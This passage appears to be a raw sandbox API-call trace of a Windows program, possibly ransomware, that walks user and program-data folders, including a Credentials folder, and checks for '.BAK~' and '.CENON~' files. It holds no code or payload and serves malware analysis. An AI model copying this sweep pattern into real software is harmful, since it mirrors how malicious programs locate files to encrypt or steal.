returned 0x0 [0117.094] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.094] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.095] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.095] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.103] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.104] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.105] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.105] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.112] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.112] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.113] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.113] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.122] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.122] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.123] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.123] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.131] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.131] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.132] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.132] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.139] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.139] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.141] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.141] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.149] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.149] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.151] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.151] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.158] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.158] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.159] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.159] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.184] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.185] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.186] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.186] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.194] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.194] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.195] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.195] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.202] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.203] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.204] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.204] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.212] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.212] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.213] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.213] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.220] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.221] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.222] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.222] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.230] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.231] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.232] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.232] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.239] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.239] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.241] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.241] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.248] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.248] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.249] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.249] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.257] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.257] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.259] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.259] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.265] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.265] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.266] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.267] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.273] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.273] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.274] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.275] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.282] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.282] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.283] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.283] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.290] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.290] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.291] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.291] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.299] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.299] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.300] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.300] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.307] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.307] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.308] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.309] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.317] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Sun\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.318] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.318] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Sun\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.319] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.325] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Sun\\Java\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.325] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.326] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Sun\\Java\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.327] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.332] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.333] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.334] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.334] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.498] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x400 [0117.612] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x2e400 [0117.664] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x0 [0117.667] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.667] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.668] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.668] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.673] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.673] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.673] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.674] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.939] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.939] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.974] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.974] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.257] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.257] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.291] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.292] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.329] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.330] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.330] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.330] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.586] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.586] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.621] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.621] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0118.646] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.648] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.648] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.649] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.650] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adec0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 [0118.666] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.667] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x1adf20, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0118.668] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x40 